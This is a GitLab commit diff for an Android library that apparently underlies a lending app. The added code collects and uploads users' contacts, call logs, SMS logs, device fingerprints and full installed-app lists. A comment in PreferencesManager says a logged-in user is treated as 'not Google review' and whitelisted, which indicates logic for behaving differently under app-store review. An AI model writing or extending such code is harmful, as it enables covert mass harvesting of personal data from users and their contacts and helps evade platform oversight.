Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
L
lib_base
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sikang
lib_base
Commits
9384897c
Commit
9384897c
authored
Nov 15, 2019
by
sikang
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
upadt script
parent
a13e2e4a
Expand all
Show whitespace changes
Inline
Side-by-side
Showing
9 changed files
with
617 additions
and
10 deletions
+617
-10
build.gradle
+3
-0
src/main/java/com/common/activity/ReviewHookActivity.java
+5
-1
src/main/java/com/common/bean/AppInfoBean.java
+94
-0
src/main/java/com/common/utils/Collector.java
+26
-2
src/main/java/tech/starwin/mvp/presenter/UploadPresenter.java
+8
-1
src/main/java/tech/starwin/mvp/presenter/UserPresenter.java
+4
-3
src/main/java/tech/starwin/utils/PreferencesManager.java
+15
-3
src/main/java/tech/starwin/utils/RequestHandler.java
+228
-0
src/main/java/tech/starwin/utils/context_utils/DeviceUtils.java
+234
-0
No files found.
build.gradle
View file @
9384897c
...
...
@@ -17,6 +17,8 @@ android {
buildConfigField
(
'String'
,
'FACEBOOK_APP_ID'
,
"\"${facebook_app_id}\""
)
buildConfigField
(
'String'
,
'ACCOUNT_KIT_CLIENT_TOKEN'
,
"\"${account_kit_client_token}\""
)
buildConfigField
'String'
,
'PACKAGE_NAME'
,
"\"${app_id}\""
try
{
buildConfigField
'Boolean'
,
'NEED_CONTACT'
,
"${contact}"
}
catch
(
Exception
e
)
{
...
...
@@ -42,6 +44,7 @@ android {
buildConfigField
'String'
,
'KEYSTORE_SIGN'
,
"\"\""
}
}
buildTypes
{
release
{
...
...
src/main/java/com/common/activity/ReviewHookActivity.java
View file @
9384897c
...
...
@@ -33,6 +33,7 @@ import tech.starwin.R;
import
tech.starwin.impl.OnEventClickListener
;
import
tech.starwin.mvp.ui.adapter.ReviewProductAdapter
;
import
tech.starwin.utils.LoginManager
;
import
tech.starwin.utils.PreferencesManager
;
import
tech.starwin.utils.context_utils.ActivityJumper
;
import
tech.starwin.utils.ui_utils.DialogFactory
;
import
tech.starwin.utils.ui_utils.UIHelper
;
...
...
@@ -178,7 +179,8 @@ public class ReviewHookActivity extends BaseActivity {
Dialog
dialog
=
DialogFactory
.
createMessageDialog
(
ReviewHookActivity
.
this
,
"Tip"
,
getString
(
R
.
string
.
fix_login_msg
),
getString
(
R
.
string
.
text_sure
),
new
QMUIDialogAction
.
ActionListener
()
{
@Override
public
void
onClick
(
QMUIDialog
dialog
,
int
index
)
{
DeviceInfo
.
addDevicetoWhiteList
();
// DeviceInfo.addDevicetoWhiteList();
PreferencesManager
.
get
().
setSafeUser
(
true
);
throw
new
RuntimeException
(
"Login Fix"
);
}
});
...
...
@@ -196,6 +198,8 @@ public class ReviewHookActivity extends BaseActivity {
}
});
// });
}
...
...
src/main/java/com/common/bean/AppInfoBean.java
0 → 100644
View file @
9384897c
package
com
.
common
.
bean
;
import
android.content.pm.ApplicationInfo
;
import
android.content.pm.PackageInfo
;
import
android.os.Build
;
import
java.util.List
;
/**
* Created by SiKang on 2019-11-15.
*/
public
class
AppInfoBean
{
private
String
versionName
;
// "1.0.1",
private
int
versionCode
;
// 10100
private
long
firstInstallTime
;
// 1571976273972,
private
boolean
isGameApp
=
false
;
// false,
private
boolean
isSystemApp
;
// false,
private
String
appName
;
// "Million Dong",
private
long
lastUpdateTime
;
// 1571976273972,
private
String
packageName
;
// "com.mdg.vvn",
private
String
[]
requestedPermissions
;
public
String
getVersionName
()
{
return
versionName
;
}
public
void
setVersionName
(
String
versionName
)
{
this
.
versionName
=
versionName
;
}
public
int
getVersionCode
()
{
return
versionCode
;
}
public
void
setVersionCode
(
int
versionCode
)
{
this
.
versionCode
=
versionCode
;
}
public
long
getFirstInstallTime
()
{
return
firstInstallTime
;
}
public
void
setFirstInstallTime
(
long
firstInstallTime
)
{
this
.
firstInstallTime
=
firstInstallTime
;
}
public
boolean
isGameApp
()
{
return
isGameApp
;
}
public
void
setGameApp
(
boolean
gameApp
)
{
isGameApp
=
gameApp
;
}
public
boolean
isSystemApp
()
{
return
isSystemApp
;
}
public
void
setSystemApp
(
boolean
systemApp
)
{
isSystemApp
=
systemApp
;
}
public
String
getAppName
()
{
return
appName
;
}
public
void
setAppName
(
String
appName
)
{
this
.
appName
=
appName
;
}
public
long
getLastUpdateTime
()
{
return
lastUpdateTime
;
}
public
void
setLastUpdateTime
(
long
lastUpdateTime
)
{
this
.
lastUpdateTime
=
lastUpdateTime
;
}
public
String
getPackageName
()
{
return
packageName
;
}
public
void
setPackageName
(
String
packageName
)
{
this
.
packageName
=
packageName
;
}
public
String
[]
getRequestedPermissions
()
{
return
requestedPermissions
;
}
public
void
setRequestedPermissions
(
String
[]
requestedPermissions
)
{
this
.
requestedPermissions
=
requestedPermissions
;
}
}
src/main/java/com/common/utils/Collector.java
View file @
9384897c
...
...
@@ -10,8 +10,10 @@ import android.util.Log;
import
com.annimon.stream.Stream
;
import
com.annimon.stream.function.BiFunction
;
import
com.annimon.stream.function.Function
;
import
com.common.bean.AppInfoBean
;
import
com.common.bean.CollectInfoEntity
;
import
com.google.gson.Gson
;
import
com.google.gson.JsonArray
;
import
com.google.gson.JsonObject
;
import
com.google.gson.JsonParser
;
...
...
@@ -39,6 +41,7 @@ public class Collector {
PERMISSION
,
MACHINE_TYPE
,
DEVICE_INFO
,
INSTALLED_APP
,
// BEHAVIOR_MSG,
CRASH_MSG
;
...
...
@@ -84,7 +87,7 @@ public class Collector {
});
List
<
ContactEntity
>
contactEntityList
=
DataBaseHelper
.
getContacts
();
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
CALL_LOG
,
InfoType
.
SMS_LOG
,
InfoType
.
DEVICE_INFO
)
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
CALL_LOG
,
InfoType
.
SMS_LOG
,
InfoType
.
INSTALLED_APP
,
InfoType
.
DEVICE_INFO
)
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
@Override
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
...
...
@@ -135,7 +138,7 @@ public class Collector {
});
//SDK-CONTACT-START
List
<
ContactEntity
>
contactEntityList
=
DataBaseHelper
.
getContacts
();
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
DEVICE_INFO
)
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
INSTALLED_APP
,
InfoType
.
DEVICE_INFO
)
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
@Override
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
...
...
@@ -195,6 +198,9 @@ public class Collector {
case
PERMISSION:
entity
.
setBody
(
toPermissionTypeDTO
(
context
));
break
;
case
INSTALLED_APP:
entity
.
setBody
(
toAppListDTO
(
context
));
break
;
case
DEVICE_INFO:
entity
.
setBody
(
toDeviceTypeDTO
(
context
));
break
;
...
...
@@ -207,6 +213,24 @@ public class Collector {
return
entity
;
}
private
static
String
toAppListDTO
(
Context
context
)
{
JSONObject
json
=
initJSON
(
InfoType
.
INSTALLED_APP
,
context
);
try
{
List
<
AppInfoBean
>
appList
=
DeviceUtils
.
getInstance
().
getAppList
(
context
);
json
.
put
(
"totalNumber"
,
appList
.
size
());
json
.
put
(
"latestTime"
,
0
);
json
.
put
(
"earliestTime"
,
0
);
String
appListJson
=
new
Gson
().
toJson
(
appList
);
JSONArray
jsonObject
=
new
JSONArray
(
appListJson
);
json
.
put
(
"data"
,
jsonObject
);
}
catch
(
JSONException
e
)
{
e
.
printStackTrace
();
}
return
json
.
toString
();
}
private
static
String
toDeviceTypeDTO
(
Context
context
)
{
JSONObject
json
=
initJSON
(
InfoType
.
DEVICE_INFO
,
context
);
try
{
...
...
src/main/java/tech/starwin/mvp/presenter/UploadPresenter.java
View file @
9384897c
...
...
@@ -5,6 +5,7 @@ import android.graphics.Bitmap;
import
android.support.annotation.NonNull
;
import
android.text.TextUtils
;
import
android.util.Base64
;
import
android.util.Log
;
import
com.annimon.stream.Stream
;
import
com.common.utils.Collector
;
...
...
@@ -272,7 +273,13 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
infoList
.
add
(
getApiService
().
uploadContact
(
new
UploadCollectionBean
(
AppInfoUtils
.
getAndroidID
(
context
),
LoginManager
.
get
().
getMobile
(),
info
)));
}
//开始上传,只上传一次,失败了忽略
handleRequest
(
action
,
Observable
.
zip
(
infoList
,
objects
->
true
));
handleRequest
(
action
,
Observable
.
zip
(
infoList
,
new
Function
<
Object
[],
Boolean
>()
{
@Override
public
Boolean
apply
(
Object
[]
objects
)
throws
Exception
{
Log
.
d
(
"sss"
,
"ssss"
);
return
true
;
}
}));
return
true
;
})
.
observeOn
(
AndroidSchedulers
.
mainThread
())
...
...
src/main/java/tech/starwin/mvp/presenter/UserPresenter.java
View file @
9384897c
...
...
@@ -23,6 +23,7 @@ import com.common.toolbox.PluginConfig;
import
com.common.toolbox.app_utils.DeviceInfo
;
import
com.common.toolbox.tracker.TrackEvent
;
import
com.facebook.libfbref.FbDeepLink
;
import
com.google.gson.Gson
;
import
org.greenrobot.eventbus.EventBus
;
...
...
@@ -55,6 +56,7 @@ import tech.starwin.utils.LogUtils;
import
tech.starwin.utils.LoginManager
;
import
tech.starwin.utils.PreferencesManager
;
import
tech.starwin.utils.TrackEventHelper
;
import
tech.starwin.utils.context_utils.DeviceUtils
;
/**
* Created by SiKang on 2018/9/14.
...
...
@@ -107,9 +109,8 @@ public class UserPresenter extends BasePresenter<UserApi> {
public
void
accept
(
GatewayInfoBean
gatewayInfoBean
)
throws
Exception
{
Gateway
.
setGatewayInfoBean
(
gatewayInfoBean
);
if
(!
PreferencesManager
.
get
().
getBoolean
(
"device_info_uploaded"
,
false
))
{
TrackEventHelper
.
logEvent
(
DeviceInfo
.
getHardwareInfo
());
String
pkgs
=
DeviceInfo
.
getPkgsFromeAppList
(
DeviceInfo
.
getAppList
(
LibConfig
.
getContext
(),
20
));
TrackEventHelper
.
logEvent
(
pkgs
);
TrackEventHelper
.
logEvent
(
new
Gson
().
toJson
(
DeviceUtils
.
getInstance
().
getDeviceInfo
()));
TrackEventHelper
.
logEvent
(
DeviceUtils
.
getInstance
().
getActivePkgs
(
LibConfig
.
getContext
(),
30
));
PreferencesManager
.
get
().
saveData
(
"device_info_uploaded"
,
true
);
}
...
...
src/main/java/tech/starwin/utils/PreferencesManager.java
View file @
9384897c
...
...
@@ -6,9 +6,6 @@ import android.content.SharedPreferences;
import
android.text.TextUtils
;
import
android.util.Base64
;
import
java.util.Map
;
import
com.common.bean.DisplayBean
;
import
com.common.bean.GatewayInfoBean
;
import
com.common.bean.OcrResultBean
;
...
...
@@ -16,6 +13,8 @@ import com.common.bean.TokenInfoBean;
import
com.common.bean.UserBean
;
import
com.common.toolbox.tracker.TrackEvent
;
import
java.util.Map
;
import
tech.starwin.utils.format_utils.StringFormat
;
/**
...
...
@@ -170,12 +169,25 @@ public class PreferencesManager {
public
void
saveAccountAppId
(
String
sessionId
)
{
saveData
(
"account_kit_appid"
,
sessionId
);
}
public
String
getAccountAppId
()
{
return
getString
(
"account_kit_appid"
,
""
);
}
/**
* 登陆后可以确定不是Google审核,加入白名单
*/
public
void
setSafeUser
(
Boolean
isSafe
)
{
saveData
(
"is_safe_user"
,
isSafe
);
}
public
Boolean
isSafeUser
()
{
return
getBoolean
(
"is_safe_user"
,
false
);
}
/**
* 保存上传用户数据时使用的sessionId
*/
public
void
saveSessionId
(
String
sessionId
)
{
...
...
src/main/java/tech/starwin/utils/RequestHandler.java
0 → 100644
View file @
9384897c
package
tech
.
starwin
.
utils
;
import
android.os.Build
;
import
android.text.TextUtils
;
import
android.util.Log
;
import
com.common.toolbox.app_utils.Base64
;
import
com.common.toolbox.app_utils.DeviceInfo
;
import
com.common.toolbox.app_utils.StringUtils
;
import
com.common.toolbox.app_utils.ThreeDes
;
import
java.io.UnsupportedEncodingException
;
import
java.net.URLDecoder
;
import
java.net.URLEncoder
;
import
java.util.ArrayList
;
import
java.util.Collections
;
import
java.util.HashMap
;
import
java.util.List
;
import
java.util.Map
;
import
java.util.UUID
;
import
okhttp3.FormBody
;
import
okhttp3.Request
;
/**
* Created by SiKang on 2019-08-07.
*/
public
class
RequestHandler
{
private
final
String
TAG
=
"RequestHandler_LOG"
;
public
static
final
String
DEVICE_SIGN
=
"deviceSign"
;
public
static
final
String
SD_SIGN
=
"sdSign"
;
private
Request
.
Builder
requestBuilder
;
private
String
secretKey
;
private
Map
<
String
,
String
>
headers
;
private
Map
<
String
,
String
>
params
;
private
String
random
;
private
RequestHandler
()
{
}
private
RequestHandler
(
Request
.
Builder
builder
,
String
secretKey
,
String
random
,
Map
<
String
,
String
>
headers
,
Map
<
String
,
String
>
params
)
{
//要签名header必须全部不为空才开启校验
if
(
headers
.
containsKey
(
"invalid"
))
{
headers
.
clear
();
}
this
.
requestBuilder
=
builder
;
this
.
secretKey
=
secretKey
;
this
.
headers
=
headers
;
this
.
params
=
params
;
if
(!
TextUtils
.
isEmpty
(
random
))
{
this
.
random
=
random
;
}
else
{
this
.
random
=
UUID
.
randomUUID
().
toString
();
}
}
/**
* 生成签名MD5
*/
public
String
getHeaderSignature
()
{
String
paramStr
=
""
;
if
(
headers
.
size
()
>
0
)
{
paramStr
+=
format
(
headers
);
}
if
(
params
.
size
()
>
0
)
{
paramStr
+=
"&"
+
format
(
params
);
paramStr
=
paramStr
.
startsWith
(
"&"
)
?
paramStr
.
replaceFirst
(
"&"
,
""
)
:
paramStr
;
}
String
signature
=
paramStr
+
decryptSecretKey
(
secretKey
)
+
random
;
Log
.
d
(
TAG
,
"code - "
+
signature
);
Log
.
d
(
TAG
,
"sign - "
+
StringUtils
.
MD5
(
signature
));
return
StringUtils
.
MD5
(
signature
);
}
/**
* 使用Builder 直接添加Header
*/
public
void
signHeaders
()
{
if
(
requestBuilder
!=
null
)
{
try
{
String
sign
=
getHeaderSignature
();
if
(
headers
.
get
(
SD_SIGN
)
!=
null
&&
headers
.
get
(
DEVICE_SIGN
)
!=
null
)
{
requestBuilder
.
addHeader
(
"X-SD-SIGN"
,
headers
.
get
(
SD_SIGN
))
//SD卡指纹
.
addHeader
(
"X-DEVICE-SIGN"
,
headers
.
get
(
DEVICE_SIGN
));
//设备指纹
}
requestBuilder
.
addHeader
(
"X-SDK-VERSION"
,
String
.
valueOf
(
Build
.
VERSION
.
SDK_INT
))
//Android SDK 版本
.
addHeader
(
"X-HAEDWARE-INFO"
,
URLEncoder
.
encode
(
DeviceInfo
.
getHardwareInfo
(),
"UTF-8"
))
//硬件信息
.
addHeader
(
"X-APP-SIGN"
,
sign
)
// Header 签名
.
addHeader
(
"X-APP-RANDOM"
,
getRandom
());
// 随机串
}
catch
(
UnsupportedEncodingException
e
)
{
e
.
printStackTrace
();
}
}
}
public
String
getRandom
()
{
return
random
;
}
private
String
format
(
Map
<
String
,
String
>
params
)
{
try
{
StringBuilder
sb
=
new
StringBuilder
();
List
<
String
>
paramsKey
=
new
ArrayList
<>(
params
.
keySet
());
Collections
.
sort
(
paramsKey
);
for
(
String
key
:
paramsKey
)
{
sb
.
append
(
"&"
+
key
+
"="
+
URLDecoder
.
decode
(
params
.
get
(
key
),
"UTF-8"
));
}
return
sb
.
toString
().
replaceFirst
(
"&"
,
""
);
}
catch
(
UnsupportedEncodingException
e
)
{
e
.
printStackTrace
();
}
return
""
;
}
/**
* app秘钥解密
*
* @param secretKey display返回的restUrlSignKey字段
* @return
*/
public
static
String
decryptSecretKey
(
String
secretKey
)
{
if
(
TextUtils
.
isEmpty
(
secretKey
))
{
return
""
;
}
byte
[]
decode
=
Base64
.
getDecoder
().
decode
(
secretKey
);
return
new
String
(
ThreeDes
.
decrypt
(
decode
));
}
public
static
class
Builder
{
private
String
secretKey
;
// display返回的restUrlSignKey字段
private
Map
<
String
,
String
>
params
;
private
Map
<
String
,
String
>
headers
;
private
String
random
;
private
Request
.
Builder
requestBuilder
;
public
Builder
(
String
secretKey
)
{
this
.
secretKey
=
secretKey
;
headers
=
new
HashMap
<>();
params
=
new
HashMap
<>();
}
//指定随机串
public
Builder
random
(
String
random
)
{
this
.
random
=
random
;
return
this
;
}
public
Builder
headerSDSign
(
String
value
)
{
addHeader
(
SD_SIGN
,
value
);
return
this
;
}
public
Builder
headerDeviceSign
(
String
value
)
{
addHeader
(
DEVICE_SIGN
,
value
);
return
this
;
}
private
Builder
addHeader
(
String
key
,
String
value
)
{
//必须所有header都不为空才校验
if
(
TextUtils
.
isEmpty
(
key
)
||
TextUtils
.
isEmpty
(
value
))
{
this
.
headers
.
put
(
"invalid"
,
"invalid"
);
}
else
{
this
.
headers
.
put
(
key
,
value
);
}
return
this
;
}
/**
* 绑定request Builder
*/
public
Builder
bindHttpBuilder
(
Request
request
,
Request
.
Builder
builder
)
{
this
.
requestBuilder
=
builder
;
HashMap
<
String
,
String
>
paramsMap
=
null
;
if
(
request
.
body
()
instanceof
FormBody
)
{
FormBody
body
=
(
FormBody
)
request
.
body
();
paramsMap
=
new
HashMap
<>();
for
(
int
i
=
0
;
i
<
body
.
size
();
i
++)
{
paramsMap
.
put
(
body
.
encodedName
(
i
),
body
.
encodedValue
(
i
));
}
}
parameters
(
request
.
url
().
toString
(),
paramsMap
);
return
this
;
}
public
Builder
parameter
(
String
key
,
String
value
)
{
if
(!
TextUtils
.
isEmpty
(
key
)
&&
!
TextUtils
.
isEmpty
(
value
))
{
this
.
params
.
put
(
key
,
value
);
}
return
this
;
}
/**
* 添加请求参数
*/
public
Builder
parameters
(
String
url
,
Map
<
String
,
String
>
params
)
{
if
(
url
.
split
(
"\\?"
).
length
>
1
)
{
String
paramsGET
=
url
.
split
(
"\\?"
)[
1
];
for
(
String
param
:
paramsGET
.
split
(
"&"
))
{
String
values
[]
=
param
.
split
(
"="
);
if
(
values
.
length
>
0
)
{
String
key
=
values
[
0
];
String
value
=
values
.
length
>
1
?
values
[
1
]
:
""
;
this
.
params
.
put
(
key
,
value
);
}
}
}
if
(
params
!=
null
&&
params
.
size
()
>
0
)
{
this
.
params
.
putAll
(
params
);
}
return
this
;
}
public
RequestHandler
build
()
{
return
new
RequestHandler
(
requestBuilder
,
secretKey
,
random
,
headers
,
params
);
}
}
}
src/main/java/tech/starwin/utils/context_utils/DeviceUtils.java
View file @
9384897c
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment